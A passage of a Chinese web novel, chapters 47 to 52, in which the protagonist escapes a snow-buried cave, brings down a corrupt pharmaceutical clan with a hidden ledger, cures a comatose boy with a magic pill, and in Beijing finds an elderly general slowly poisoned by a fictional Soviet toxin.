省计委副主任周正国面沉似水，冷冷开口：“谭处长，你是说，我的批示等同废纸？” 面对两位实权领导的质问，谭处长却有恃无恐。 “周主任，钱县长，我只是就事论事。核心问题是，他们生还的可能性几乎为零！我们总不能让更多救援队的同志冒着生命危险，去救几个可能已是尸体的人吧？” 他站上“道德”与“大局”的高地，这番看似有理的诡辩，噎得钱国栋和周正国一时难以反驳。苦于没有生还者的直接证据，他们处处受制，只能眼睁睁看着宝贵的救援黄金时间，在无休止的推诿扯皮中无情流逝。 …… 长白山下，临时救援指挥部气氛凝重得令人窒息。 陈虎和老采参客王白山，自发集结了当地上百名顶尖猎手和参客。不顾官方劝阻，他们日日顶着死亡威胁，在雪崩区外围艰难探查着任何可能的入口。 白山那张沧桑的脸上刻满坚毅。他对着巍巍雪山，发下血誓： “找不到林先生，我白山，这辈子不下山！” …… 溶洞深处。 在确认自制“能量丸”安全有效后，林卫国开始批量制作。 得益于这神奇药丸，被困溶洞的三人非但无虞，孙思源的身体反倒一日硬朗过一日。林卫国则争分夺秒，盘膝入定，一次次运转体内尚未完全驯服的龙涎能量，彻底将其化为己用。 他的实力，再次攀升！ 他没有枯等。待身体与力量重回巅峰，他开始仔细勘察溶洞结构。【战术医疗系统】对地质结构的精准分析，让他洞悉了顶部一个天大的秘密——一处被数米厚冰岩封死的、极其隐蔽的通风口！ 那是他们唯一的生路！ “孙老，晚夏，我们回家！”林卫国眼中精光暴涨。 他抄起地上高建设遗落的那把开山刀，深深吸气，足尖猛蹬地面！ 第47章 全城戒严！ 整个人如炮弹般冲天而起！新生的磅礴力量疯狂灌入刀身，结合【系统】对岩石结构最精准的判断，他以一种近乎艺术的巧劲，刀锋狠狠劈向那唯一的希望！ “咔！咔嚓——！” 冰屑激射，岩石崩裂！没有硬撼蛮力，他如同庖丁解牛，刀锋顺着冰岩肌理最薄弱处游走、切割。一刀又一刀，硬生生在数米厚的绝壁上，开凿出了一条仅容一人攀爬的“生”之路！ …… 数日后。当林卫国、苏晚夏和孙思源三人，衣衫褴褛却神采奕奕地从那个不起眼的雪洞中，迎着刺目天光，艰难爬出时…… 正在附近雪原艰难搜寻的陈虎、白山等人，先是僵住，随即，迸发出地动山摇的狂喜欢吼！ “林哥！是林哥出来了！！” “先生！先生还活着——！！” 连日积压的忧虑、绝望、痛苦，在这一刻尽数化为滚烫热泪！以白山为首的老猎人和参客们，看着如神祇般自雪山腹地走出的林卫国，再也控制不住汹涌的情绪，“噗通”跪倒一片，顶礼膜拜，声震云霄： “山神显灵！是山神爷显灵了啊！！” 与此同时，这个石破天惊的消息，正随着不远处救援队军用电台那急促的“滴滴”声，化作一道无形的电波，刺破风雪，以最快的速度，传向千里之外的省城！ 省卫生厅，三号会议室。 烟雾缭绕，空气压抑得令人窒息。 省卫生厅纪检委的谭处长正背着手，唾沫横飞地进行着总结陈词：“同志们！必须清醒认识到，这次长白山雪崩事故，性质极其恶劣！充分暴露了基层严重的无组织无纪律问题！” 他猛地挥手，痛心疾首：“看看安平县那个林卫国！一个毫无大局观的毛头小子，为了个人的名声、为了所谓的科研成果，竟敢擅自带着德高望重的孙思源教授进入未经审批的极度危险区！这是什么行为？是典型的个人英雄主义！是对国家财产和专家生命安全的极端不负责！” 砰！ 他重重一拍桌子，声色俱厉：“所以当前首要任务，不是盲目不计代价去搞救援！是要统一思想，稳定大局！深刻反思！放弃不切实际的幻想！要……” 他的话冠冕堂皇，句句打着“大局”的旗号。 对面，安平县县长钱国栋脸色铁青，紧握的拳头指节发白。副主任周正国面沉似水，一言不发，只是手指一下下敲着桌面。 两人心知肚明：姓谭的，就是要将林卫国彻底钉在“罪人”柱上，为高家的反扑扫清障碍！ 就在这时—— 吱呀。 会议室厚重的木门被人从外推开。 省政府办公厅秘书长神情严肃，手持一份电报快步走入。他无视旁人，径直走到周正国副主任身边，清晰沉稳的声音回荡在死寂的会议室： “周主任，省军区秦振邦老将军急电。” “奉命进入长白山执行军地联合科研任务的安平县林卫国同志，及省中医院孙思源教授一行，已于今日上午十点二十三分，成功自救脱险。” “全体成员，无一伤亡。” 轰！ 这几句话如同炸雷，瞬间轰碎会议室的死寂！ 谭处长激昂的声音戛然而止。 他脸上的表情瞬间凝固，像被打了一层石膏。那份痛心疾首的沉痛，那份指点江山的气度，在这一刻显得无比滑稽可笑。 所有人的目光都聚焦过来，像看一个卖力表演却被当众拆穿的跳梁小丑——震惊、错愕、鄙夷、嘲弄…… 周正国缓缓站起身，拿起桌上那份印着“内部参考”的报纸，走到面如死灰的谭处长面前，狠狠摔在他脸上： “谭处长！这是你昨天授意省报发表的‘内参’吧？不点名批评林卫国同志‘好大喜功，脱离实际’？” 他的声音冰冷刺骨。 “很好，写得真好啊！” 周正国俯视着瘫软在椅子上、筛糠般颤抖的处长，嘴角勾起极尽嘲讽的弧度： “现在，英雄回来了。我倒要看看，你这个背后捅刀子的‘小丑’，准备怎么收场？” 谭处长眼前一黑，彻底瘫倒在椅子里。 他知道，自己的政治生涯，这一刻，彻底结束了。 …… 次日，省报头版头条换上了最醒目的红色标题： 《记战斗在科研一线的无名英雄——林卫国同志与孙思源教授雪山历险记》 文章以饱含深情的笔触，描绘了林卫国一行人在绝境中，为攻克医学难题不畏艰险、舍生忘死的故事。他们，成了为国奉献、勇于创新的时代楷模！ 风向，彻底逆转。 省军区医院。 军用直升机轰鸣着降落在停机坪。 林卫国、苏晚夏、孙思源三人在雷鸣陪同下走出机舱，立刻被鲜花和掌声包围。钱国栋、周正国以及院领导早已等候在此。 高远的病情因林卫国留下的“能量丸”已暂时稳定，此刻正在特护病房，等待林卫国进行最后的治疗。 在军区医院顶级的生物实验室内。 林卫国拒绝了所有人，将自己一人关在里面。 他小心取出盛在玉碗中的“龙涎”，那瓶采自天池三百米深处的“无根水”，以及长白山采集的数种罕见药材。 最关键的是，他指尖逼出一滴血液——那血液融汇了龙涎之力，经过脱胎换骨，泛着淡淡的金色光芒！ 这滴血，正是解开“生死锁”的真正药引！ 时间在精密仪器的嗡鸣中流逝。 解药的炼制已到最后关头。 然而当晚。 省城，毫无预兆地进入全城戒严！ 一道道关卡瞬间扼住城市命脉。空气紧绷，山雨欲来。 一封匿名的举报信，通过神秘渠道，绕过所有环节，直接摆上了国家最高纪检部门某领导的案头。 信中图文并茂，“证据”详尽到近乎天衣无缝—— 它指控安平县“科研新星”林卫国与县长钱国栋官商勾结！利用科研名义，打着“为民除害”的幌子，大肆盗挖、倒卖长白山野山参等国家管控药材，并走私南方牟取暴利！ 这是高家！是他们最后、最疯狂、赌上一切的致命反扑！誓要将林卫国及其靠山钱国栋，彻底打入地狱！ 凌晨。 一架军用运输机划破夜空。 机舱内，坐着由更高层级部门直接派出的联合调查组。他们握有“先抓后审”之权。 目的地明确无误—— 省军区医院。 第48章 连根拔起 深夜。 几辆特殊牌照的吉普车，停在医院实验大楼前，十几个人迅速下车，直扑大楼。 领头的是李建军，联合调查组组长。 他的脚步未踏上台阶，两名军装笔挺的警卫员钢枪交叉，堵死大门。 “军事重地，闲人免进！”声音不高，却透着不容置疑的铁血。 李建军皱眉，亮出文件厉喝：“执行公务！让开！” 警卫员寸步不让：“我们只认军令！你们敢闯一下试试！” 空气瞬间绷紧，火药味弥漫。 “让他们进来！” 一个苍老却洪亮的声音炸响楼内，话音未落，秦振邦老将军在雷鸣搀扶下现身。 李建军心头一凛，头皮发麻，还是硬着头皮上前敬礼：“秦老，奉命行事，请别为难我们。” 秦振邦眼皮都没抬他手中的文件，锐利如鹰的眼睛死死钉住他：“林卫国正执行关乎国家安全的特级保密任务。任务完成前，任何干扰都不行！” 龙头拐杖重重顿地，金石交鸣。 “你有你的文件，”老将军一字一顿，“我这儿，有我的军令！” “想带人？让你后面最大的那位，亲自来跟我谈！” 他孑然一人，却如山岳挡关，为林卫国硬生生抢下扭转乾坤的宝贵几小时！ …… 实验室里，监控屏映着门外一切。林卫国知道，这是高家最后的疯狂反扑。 他不慌不忙，将手中刚出炉、萦绕着淡淡光晕与异香的药丸，慎重放入玉瓶，交到苏晚夏手中。 “晚夏，去吧。温水化开，喂高远服下。他的命，交给你了。” 苏晚夏看着他布满血丝却依旧沉静的双眼，重重点头，二话不说，转身冲向特护病房。 林卫国则从贴身衣物内，掏出了那把尘封十年的铜钥匙——江婉儿所托。 …… 秦老将军办公室，气氛凝重到极点。 钱国栋、周正国，还有半夜被叫醒的调查组长李建军，正襟危坐。 林卫国平静走入。 没有废话。他当着所有人面，将那把古朴铜钥匙，插进了银行刚送来的、尘封十年的保险柜锁孔。 “咔哒！” 柜门缓缓打开。 没有金银财宝，没有珍奇古玩。只有两样东西静静躺着： 一本牛皮纸封面的厚厚手写账本。 一封泛黄、带着点点暗褐血迹的信——血书！ 林卫国拿起账本，放在桌上。 李建军狐疑翻开。只一眼，呼吸骤停！上面工整的字迹，一笔一笔，清晰地记录着： ——高建设如何十年如一日，利用职权，通过虚假报账、暗箱操作，将红旗制药厂的国有资产挪入私囊！ ——如何倒卖国家管控的战略药品至南方、境外，牟取暴利！ ——如何用黑钱行贿，编织覆盖省城多部门的关系网！ 时间、地点、经手人、转账凭证、签收单复印件……铁证如山，完整到令人胆寒！ 这哪是账本？这分明是一本引爆省城官商两界的死亡笔记！ 李建军的手开始不受控制地颤抖。 林卫国拿起血书，缓缓展开。这是高建功生命尽头，蘸着自己的血写下的绝笔！ 字字泣血，控诉高建设如何勾结神秘客卿医生，以“调养”为名，日复一日，给他下毒破坏神经！ 看到末尾那句“恨不能手刃此贼，弟，兄好恨！”时，一股滔天怨气和不甘直冲所有人天灵盖！ 啪嗒。 一滴冷汗从李建军额头滑落，砸在光洁桌面，摔得粉碎。 他的后背，已然湿透！ 这一刻他才懂，自己差一点就成了这禽兽不如的犯罪集团帮凶！ “周主任！秦老！”他猛地站起，深深鞠躬，脸上只剩后怕与决绝，“我有眼无珠，差点铸成大错！向组织检讨！” 直起身，他抓起桌上红色电话，接通最高指挥部： “命令！调查方向立刻转向红旗制药厂及法人高建设！” “命令！按线索控制卫生厅谭处长等人！” “账本上所有关联人员，无论职务背景，一个不留，全部抓捕！” 当晚，一张无形巨网在省城上空骤然收紧！ 做着美梦、等林卫国落网的高建设，被破门而入的专案组从床上拖起。 谭处长及其他涉案官员、商人，一夜落网。 盘踞省城多年的巨大毒瘤，被林卫国以雷霆之势，连根拔起！ …… 军区医院特护病房。 苏晚夏小心地托起那颗夜明珠般的药丸，送入高远口中。 药丸化开，清凉暖流瞬间涌遍四肢百骸。 下一秒，奇迹发生—— 苍白透明的皮肤下，竟有淡淡金光，顺着血管飞速流淌！长期枯槁的身体，如同久旱甘霖，生机勃发！ 唰！ 高远紧闭数月的双眼，猛然睁开！ “呼！” 他竟直挺挺从床上坐了起来！ 那双曾因折磨而黯淡的眸子，此刻如寒星般璀璨、锐利，蕴藏着爆炸性的力量！ 床边的江婉儿和苏晚夏喜极而泣，正要上前。 高远却转过头，摸着干瘪凹陷的肚子，说出了让所有人瞬间石化的第一句话： “我……我好饿。” “我想吃……肉，好多好多的肉！” 特护病房里，高远那句“我想吃肉”刚出口，欣喜的江婉儿和苏晚夏瞬间愣住了。 昏迷几个月、刚从鬼门关爬回来的人，不应该是极度虚弱，连水都喝不下吗？ 然而，接下来的景象，直接粉碎了她们的认知，连同整个军区医院的专家们也一起懵了。 高远苏醒后的第一个小时，展现出了惊人的胃口。 食堂为他特供的滋补老母鸡汤肉粥刚送到，他三两口就干得碗底朝天。 他舔舔嘴唇，眼巴巴地看着母亲：“妈，还有吗？这点儿塞牙缝都不够。” 第二小时，在医生们难以置信的目光下，他独自消灭了干部病房的所有肉食储备——整整三只烧鸡、五斤酱牛肉，还有一大盆红烧肉！ 速度快得吓人，仿佛不用咀嚼，动作却意外的平静自然，就像吃饭天经地义。 更诡异的是，他的身体在众目睽睽之下，正发生着肉眼可见的变化！ 长期卧床的消瘦身躯，肌肉线条迅速饱满、结实。苍白皮肤下透出健康红晕，气血充盈。那双眼睛清澈明亮，精光闪烁，远超同龄人应有的神采！ 第49章 京城之路，红墙之内 全身检查结束，最先进的仪器吐出报告。专家们围拢过来，下一刻，满室死寂，所有人都僵在原地。 纸上的每一个数字，都在疯狂挑战他们毕生建立的医学认知！ “这…绝不可能！”体测主任死死捏着报告，指尖抑制不住地颤抖，“心肺、肌肉、骨密度…每一项，都远远甩开了省体工队最顶尖的运动员！” 旁边的神经科专家，目光紧锁脑电图，声音干涩：“神经反应速度…是常人的三倍！记忆、逻辑分析…初步测试，已经是天才水准！” 高远，早就不是病人了。 他，成了“小超人”！ 这惊天逆转是天大的喜讯，却也裹着一枚足以引爆世界的炸弹。 如何解释这翻天覆地的变化？它甩开了现代科学所有的已知答案！消息一旦走漏，高远哪还能做回普通少年？他立刻会成为被无数双眼睛死死盯住的“活体样本”！ …… 烟雾，在秦振邦老将军的办公室里无声地盘旋。 林卫国、秦振邦、周正国、钱国栋四人，因一系列事件紧密相连，再次聚首进行最高级别密谈。 “比预想的更棘手。”周正国副主任面色凝重，“高远的数据已被列为特级机密。但纸包不住火，必须拿出一个服众的解释。” 钱国栋点头附和：“没错。处理不好，不仅高远麻烦缠身，卫国你也可能受牵连，毕竟是你‘创造’了这个奇迹。” 目光齐刷刷聚焦在林卫国身上。 他却异常平静，早想好了对策。 “就说是我的独创疗法，从未公开的‘破而后立’。” 林卫国声音沉稳有力，回荡在办公室。 “核心是以毒攻毒：先用霸道手段诱发‘假死’，破坏原有生理平衡；再用蕴含庞大生命能量的药物，强行激发全部潜能，达到毁灭后新生的效果。” “至于核心技术和药方，”林卫国眼中精光一闪，“直接列入国家特级保密档案！任何人，无论职位多高，都无权打探。这是保护‘国家核心科研成果’。” 这说法堪称完美！ 它用中医“破而后立”的玄奥为高远的异常提供了合理解释，又用“国家特级机密”堵死了所有质疑的缺口！ “好！就这么办！”秦老将军一拍大腿，眼中满是赞许，“小子，你这脑子，不搞政治屈才了！” …… 一场可能掀起的滔天巨浪，被林卫国轻描淡写般化解于无形。 省城红旗制药厂因领导层集体腐败、证据确凿，被勒令全面停产重组。 几日后，恢复得生龙活虎的高远，陪着母亲江婉儿回到了阔别十年的药厂。作为创始人遗孀和核心技术唯一继承人，重临故地，母子二人百感交集。 但他们知道，一个全新的开始就在眼前。 经此一役，林卫国不仅扫清了商界最大的对手，更在省城最高层筑起了无可撼动的人脉基石。 为报答再造之恩，江婉儿将丈夫高建功记载前沿制药思路的最完整研究笔记，以及高家一处连高建设都不知的海外秘密资产凭证，悉数赠予林卫国。 这份厚礼，成了林卫国未来“医疗王国”最坚实的资本根基。 …… 风平浪静后的一天。 秦振邦老将军代表军区和省里，亲临安平县“卫国制药厂”。 他将一份盖着鲜红大印的任命文件，郑重递到林卫国手中，目光异常肃重。 “经上级决定，特聘你为‘国家特需药品研发中心’首席技术顾问！级别等同副处。” “另外……” “鉴于你在长白山事件中展现的卓越能力、坚定立场和超凡手段，8341特别医疗小组，正式邀请你加入。” “你的第一项任务：即刻随我，进京。” 老将军的眼神深不见底。 “有位为国家、民族立下丰功伟绩的元勋……身体出了状况。” “情况……比高远棘手百倍。” 秦振邦老将军的命令斩钉截铁，不容置疑。 军用运输机引擎轰鸣，巨大的声响在安平县简陋的机场上空回荡，螺旋桨卷起漫天尘土，遮天蔽日。 林卫国甚至来不及好好和家人道别。登机前，他匆匆叫来了闻讯赶来的苏晚夏和赵胜利。 “厂里生产的事，胜利，你多费心。” 林卫国语速很快，透着紧迫。 目光转向眼眶微红的苏晚夏，万般情绪涌上心头，最终只化作一句沉甸甸的嘱托：“照顾好自己。” 话毕，他毅然转身，迎着狂暴的气流，大步踏上那架即将飞往国家心脏的军用运输机，一次也没回头。 这是他两世为人，头一遭踏上去往京城的旅程。 飞机穿云破雾，引擎的咆哮隔绝了世界。机舱内，秦老将军向林卫国低声介绍了任务背景。 “要见的那位，身份极高，是硕果仅存的几位开国元勋之一。” 老将军神色庄重，“战争年代，他老人家是九死一生打过来的，为共和国立下不世功勋。毫不夸张地说，没有他，就没有我们今天的太平日子。” 话锋一转，语气沉重下来：“可这些年，老元勋的身体……垮得太快了。国内外顶尖专家都瞧过，用了所有办法，就是查不出病因，束手无策啊。协和那边……半个月前就判了，时日无多。” 秦振邦深深看着林卫国，眼神锐利如刀：“小子，你要明白，这位的健康绝不只是一个人事！它关系到国家某些关键领域的人心稳定！所以这次任务，容不得半点闪失！” 林卫国沉默点头，内心却掀起惊涛骇浪——即将面对的，无疑是国家医疗界最高权威也无法解决的绝境。 飞机最终降落在京城西郊一处隐秘的军用机场，地图上遍寻不见。 一架挂着特殊黑色牌照的红旗轿车静候在停机坪。 车辆一路畅行无阻，在一处疗养院钱停下。 车入院区，外界喧嚣顿消。参天古松，幽深湖泊，三步一岗五步一哨的持枪警卫，空气中弥漫着无形的肃穆与威压，无声宣告着此地的非同凡响。 第50章 地基之论，满座皆惊 何为权利，林卫国现在算是知道了。 在疗养院会议室，他见到了保健局专家组。 领头的徐振声院士，年近八十，须发皆白，一袭整洁白褂，眼神里沉淀着久居高位的锐利与威严。 他身旁的几位专家，同样都是医学界的泰斗，声名显赫。 秦振邦将军进来时，专家们礼貌地破例站起。 但那份敬意，更多还是冲着将军的身份。 “这位，” 秦振邦将军声音平稳，指向林卫国，“是安平县的林卫国同志。年轻有为，医术不俗。” 他特意顿了顿，目光扫过众人，随后说出林卫国救下钱斌和高远的事。 然而，专家组的反应近乎凝滞，冷淡异常。 徐振声先看了一眼林卫国，而后轻声道： “秦老操心首长健康，这份情我们领了。” “但恕我直言，这位同志之前的成功案例是无法复制的偶然现象。” “在这里，我们要的是最纯粹的科学！百分百的严谨！” 他们压根不信一个名不见经传的地方小子，能解决国之泰斗都无法攻克的难题。 “啪！” 一份厚如砖块、密密麻麻全是数据的病历档案，被徐院士身旁的另一位专家重重拍在林卫国面前的桌上。 无声的羞辱：看懂了吗小子？看清分量了吗？知难而退吧！ 面对这近乎踩脸的对待，林卫国神色纹丝未动。他脸上不见怒意，连眉头都未皱一下。 他只是平静坐下，伸手拿起那份凝聚了全国最高医疗智慧的病历档案。 然后，在满屋子或轻蔑、或审视、或带着点好奇的目光中，他低下头，开始翻阅。 “哗——哗——哗——” 他翻页的速度快得惊人！眼睛如同高速扫描仪，复杂的数据、生僻的术语、琐碎的病程记录……被他一掠而过，毫无阻碍。 整个会议室死寂无声，只剩下那单调而急促的翻纸声。 一分、五分、十分。 仅仅十分钟后，“啪”的一声轻响，林卫国合上了那本沉重的档案。 他抬起头，目光平静地迎上在场所有专家。 一句话，让整个会议室的空气瞬间冻结： “各位专家，辛苦了。” 他的语气依旧平淡，听不出波澜。 “只是你们所有的诊断和治疗，方向从一开始，就错了。” 他略作停顿，仿佛在陈述一个再简单不过的事实，为这场顶级会诊钉下最终的判词： “这好比，在一栋地基即将崩塌的房子里，忙着修补屋顶的瓦片。” 林卫国那句“修补屋顶瓦片”刚出口，就像在死寂的会议室里引爆了一颗深水炸弹！ 短暂的沉寂之后，火山轰然爆发。 “胡说八道！” 主席台中央的徐振声院士猛地推开座椅站了起来。他平时沉稳的脸此刻涨得通红，手掌“砰”地一声重重拍在桌面上！ 他指着林卫国，声音气得直抖： “年轻人！整个专家组为首长身体，用尽最好的机器，几年检查下来！哪一份数据不是国内西医顶级的功夫？凭你一张嘴，就敢说我们错了？” “看清楚！这里是中央保健局！不是让你这种毛头小子耍把戏出风头的地方！” “啧，太不像话！” “秦老，别怪我不给您面子，您领来的这位同志，已经不是自信的事儿了，是猖狂！” 几位顶尖专家跟着开火，话里话外全是针对这“闯入者”的不满，权威被冒犯的怒火几乎赤裸裸地烧出来。 他们是各领域的天之骄子，何曾受过如此彻底的否定？ 面对满屋顶级智者的声讨，林卫国连眼皮都没抬。 他不急不缓地站起身，目光平静地扫过一张张愤怒或轻蔑的面孔，声音清晰地响起： “各位前辈，我从没否认大家的学识，也不质疑数据的真实性。” “数据不会骗人。” 他话锋陡然锐利，“但数据的解读方式，却有云泥之别，甚至天壤之别。” 他没用任何高深术语，只用所有人都能听懂的话，抛出了一个足以颠覆所有人认知的理论： “人的身体，像一栋房子。五脏六腑是梁柱墙壁。气血经络是水路电路。各位所做的一切，是确保梁柱坚固，水电通畅。” “但这一切都有个前提——这房子必须建在坚实的地基上。” “这块地基，我叫它‘生命本源’。它决定了房子能立多久，扛多大的风雨。” 他看向徐振声： “用西医理论，这地基粗略可以理解为决定细胞衰老的‘端粒活性’。” 他转向一位白发老中医： “用中医理论，就是我们生而带来、藏于肾中的先天之‘精’。” “首长戎马半生，枪林弹雨，早已透支太多太多。他老人家的地基早就掏空了，布满了看不见的裂痕。” 林卫国的声音沉了下去： “你们所有的治疗——” “无论用顶级西药强化心肺功能，还是用名贵中药温补气血——本质上，都只是在加固那些摇摇欲坠的梁柱，粉刷出现裂纹的墙壁！” “短期看，房子好像更坚固更漂亮了。” “可每一次加固粉刷，都在消耗地基的力量！这只会加速损耗，让房子从内部塌得更快！” “所以首长的身体才会时好时坏！表面平稳，数据却在不可挽回地走向衰败！” 这番“地基论”，让会议室的嘈杂渐渐平息。专家们脸上露出了思索的神情。 林卫国不再空谈，直接伸手翻开桌上病历的某一页，指着上面一组被忽视的“矛盾数据”： “比如这里！报告显示，首长接受高营养蛋白液输注后，短时精神明显好转。但二十四小时后，他末梢血管微循环数据却会反常下降！” 他看向众人： “各位都是顶级专家，应该明白这意味着什么。这就是典型的‘虚不受补’！多余营养非但补不了身，反而加重代谢负担，加速了‘地基’的损耗！” 紧接着，他又道： “如果我没猜错，首长还有一个他自己都可能忽略的症状！” “每到深夜子时——十一点到凌晨一点——他左脚脚心的‘涌泉穴’位置，会有一阵常人根本察觉不到的刺痛，像针扎，持续大约三分钟！” 【亲爱的读者，如果认为内容可以，记得加入书架哦，方便下次阅读~】 第51章 病榻之前，一针之约 他的目光扫过全场，声音不大，字字千钧： “那，就是地基塌陷前，发出的最后警报！” “各位前辈，敢不敢今晚派人亲自验证一下？” 林卫国的理论闻所未闻，但指出的数据矛盾确实存在！最后对“涌泉穴”刺痛的预测，更是神来之笔，带着一种看透一切的强大自信！ 徐振声等人脸上的怒容，先是转为震惊，再是疑惑，最后只剩下深沉的思索。他们是最顶尖的头脑，瞬间意识到，这看似荒谬的“地基论”，可能真解开了所有治疗的矛盾，直指问题核心！ 会议室的空气再次凝固了。 但这次，不再是愤怒的对峙，而是世界观被冲击后的无言。 就在这时—— 吱呀一声轻响，会议室的门被推开。 元勋的首席警卫员，一位神情坚毅的中年军人走了进来。他先是对秦振邦、徐振声等人敬了个礼，然后目光不带感情地扫过全场： “各位首长，专家。” 他微微一顿，视线落在了全场唯一的年轻人身上： “里面的老首长刚醒，听到了你们刚才的争论。” “他说……想见一见，那个说他‘地基要塌了’的年轻人。” 首席警卫员无声引路，林卫国独自踏入这间牵动国脉的病房。 没有冰冷的仪器嗡鸣，也没有刺鼻的药水味。房间简朴至极，一张硬板床，一套洗得发白、叠得棱角分明的旧军装摆在床头，只有淡淡的墨香在空气中浮动。 病床上，躺着一位枯瘦如柴的老人。岁月与病痛似乎榨干了他最后一丝血肉，只剩下嶙峋的骨架。然而，那深陷眼窝的双眸，却锐利如鹰，仿佛能刺穿人心。 这位老人，正是共和国硕果仅存的开国元勋——陈岩老将军。 一股无形的、山岳般的威压，从那看似衰败的身躯里弥漫开来，足以让意志不坚者手足无措。 陈老没谈病情。那双鹰目只是静静打量着眼前过分年轻的“神医”，片刻后，才缓缓开口，问出几个看似无关的问题： “安平县出来的？” “是，首长。”林卫国不卑不亢。 “只用几个月，把快倒闭的小厂弄成了省重点？” “顺势而为，尽了点力。” “红旗制药厂那帮老油条，被你收拾服帖了？” “他们自己撞枪口上，我只是推了一把。” 陈老目光更深：“安平县的钱国栋……是你的靠山？” 问题尖锐如刀。 林卫国坦然迎向那目光，声音平静：“钱县长是爱才的好领导。但我的靠山，从来不是人。”他顿了顿，“是这身医术，和做事的规矩。” 他没有丝毫粉饰，坦诚最初的动力不过是让家人过好日子，在这片土地上做点有用的事。这份远超年龄的沉稳和发自肺腑的坦诚，让陈老鹰隼般的眼中，终于掠过一丝温度，一丝赞许。 “好一个‘做事的规矩’。”陈老缓缓点头，“你的‘地基论’，我听了，有点意思。不过——”他话音一转，锐气逼人，“说得再天花乱坠，也只是纸面功夫。现在，你拿什么向我证明，能为我这栋破房子添一块砖，加一片瓦？” 林卫国明白，真正的考验到了。 他没再多言，从怀中取出绒布针囊，捻出一根细如牛毛的钢针。 “首长，不敢说能让地基完好如初，那需时日。”他手持银针，走到床边，语气平静却蕴藏着强大自信，“我只在您左腕‘神门穴’刺一针。五分钟后，您再感觉身体变化。好坏，您自己评判。” …… 厚实的隔音玻璃外，徐振声院士和一众顶级专家紧张注视着病房内一举一动。 眼见林卫国竟真取出针，要对老将军动手，所有人的心瞬间提到了嗓子眼！ “胡闹！简直是胡闹！”一位心脏病专家急得满头大汗，“首长现在就是朽木搭成的精细仪器！任何一点刺激都可能瞬间崩溃！他怎么敢？！” “秦老！这……”徐振声也坐不住了，求助地望向身旁同样神色凝重的秦振邦。这干系太大了！万一出错，在场无人能担！ 秦振邦却只摆摆手，示意稍安勿躁，目光死死锁在林卫国持针的手上。 病房内。 林卫国指捻钢针，动作轻柔如羽毛。 一缕凡人肉眼难辨、由“龙涎”能量淬炼出的至纯生机，顺着那牛毛细针，缓缓注入陈老干涸的经脉。 针尖入体瞬间！ 一股前所未有、难以言喻的暖流，猛然从手腕处炸开！如同最和煦的春日阳光，瞬间流淌全身！ 那两条因末梢神经坏死、常年如冰封朽木般毫无知觉的双腿，竟……竟感到了一丝久违的、源自骨髓的暖意！ 长期被药物麻痹的味觉和嗅觉，在此刻奇迹般复苏！他甚至清晰地闻到了窗外百年桂树飘来的幽香！ 短短几分钟，身体仿佛年轻了二十岁！重新感知活力，重新掌控肢体的感觉，令这位历经战火、早已看淡生死的老人，激动得热泪盈眶！ 这神乎其技的疗效，如同仙术，将他彻底震撼！ 他看向林卫国，那双锐利的眼眸里，第一次燃起了名为“希望”的光芒！ “好！好！好！”陈老猛一拍床沿，连声赞叹，语气斩钉截铁，“我这条老命，以后就交给你了！” 他当场拍板，将自己的生死，完全托付给了眼前初次见面的年轻人。 林卫国收针，正待构思后续治疗方案。指尖掠过陈老枯槁皮肤的刹那—— 脑海中沉寂已久的【战术医疗系统】，骤然发出了一声微弱却无比急促的警报，直刺他意识深处： 【警告！检测目标体内存在非自然衰变性生物毒素残留！】 【毒素源比对中……比对成功……】 【锁定毒素：KGB-7型神经抑制剂！此毒素上世纪六十年代由苏联克格勃研发，用于高层政治任务。特性：伪装自然衰老，缓慢、不可逆破坏中枢神经，现有科技无法检测……】 轰！！！ 林卫国心中，万丈玄冰轰然坠入沸腾岩浆！ 眼神瞬间变得冰冷彻骨！ 陈老的病……绝非自然衰老！ 是有人在长达数年的时间里，用一种当世科技难以察觉的阴毒手段，对他实施了长期的、微量的—— 投毒！ 第52章 惊天阴谋，谁是内鬼 KGB-7型神经抑制剂！ 系统检测出的结果，如同九幽之下的万年寒冰，让林卫国的心，瞬间沉入谷底。 他的后背，在一刹那间便被冷汗浸透！ 这已经不是单纯的治病救人。 他被卷入了一场足以引发最高层剧烈震动的、惊天动地的国际间谍案！ 一个巨大的抉择，如同两座大山，狠狠地压在了他的心头。 是立刻将这个骇人听闻的真相，公之于众？还是暂时隐瞒，暗中行事？ 说出来，固然可以立刻引起最高警惕，但同样会不可避免地打草惊蛇！那个隐藏在红墙之内、能对开国元勋下毒的“内鬼”，必然会立刻切断所有线索，远遁千里，甚至……进行最后的、最疯狂的致命一击！ 可如果他不说，那么所有的治疗方案，就必须在不惊动毒素的前提下进行，这无疑会戴着镣铐跳舞，风险极大，稍有不慎，便会万劫不复！ 林卫国的脑中，无数的念头在电光火石间闪过。 最终，他选择了后者。 在没有绝对把握之前，他不能冒任何风险。他要布一个局，让那个隐藏在最深处的鬼，自己跳出来！ 他收敛心神，脸上恢复了那份古井无波的平静。他以“后续治疗需要绝对保密的特殊环境”为由，向陈岩老将军和秦振邦，提出了一个看似有些“不合常理”的要求。 “陈老，秦老，从现在开始，为了保证治疗效果，所有送给您的饮食、药品，甚至是您日常接触的任何物品，都必须先经过我的亲手检验。在您身体康复之前，除了我和专家组的核心成员，任何人不得随意进入您的病房。” 这个要求，听起来有些霸道，甚至可以说是僭越了。 病房外的徐振声院士等人听了，都微微皱起了眉头。 然而，秦振邦是何等人物！他从枪林弹雨中走来，一辈子都在和各种阴谋诡计打交道。他立刻从林卫国这个“不合常理”的要求中，嗅到了一丝不同寻常的、极其危险的味道！ 一个真正的神医，绝不会无的放矢！ 他没有多问一个字，只是深深地看了林卫国一眼，随即重重地点了点头：“好！就按你说的办！” 但他转过身，对着身后自己的首席警卫员，使了一个只有他们两人才懂的、极其隐晦的眼色。 警卫员心领神会，悄无声息地退了出去。 一张针对整个西山疗养院内部人员的、最高级别的秘密排查大网，在这一刻，已经悄然撒开。 …… 会议室里。 在亲眼见证了那“一针之效”的神奇之后，徐振声院士对林卫国的态度，发生了180度的大转弯。 这位在国内西医界说一不二的泰斗，此刻再也没有了之前的倨傲和审视。他主动找到了林卫国，放下了自己所有的身段和骄傲，用一种近乎于学生请教老师的谦逊态度，虚心地说道： “林……林大夫，之前，是老头子我有眼不识泰山，坐井观天了。” 他脸上满是愧色：“你的‘地基论’，简直是闻所未闻，却又字字珠玑，为我们打开了一扇全新的大门。老头子我今天，算是真正开了眼界。” 他郑重地对林卫国说：“从现在起，你有任何需要，我们专家组，一定全力配合！我徐振声，就给你当个下手，当个助手！” 能让这位国宝级的院士说出这番话，本身就是一个奇迹。 林卫国知道，他已经初步赢得了这群顶级专家的信任。 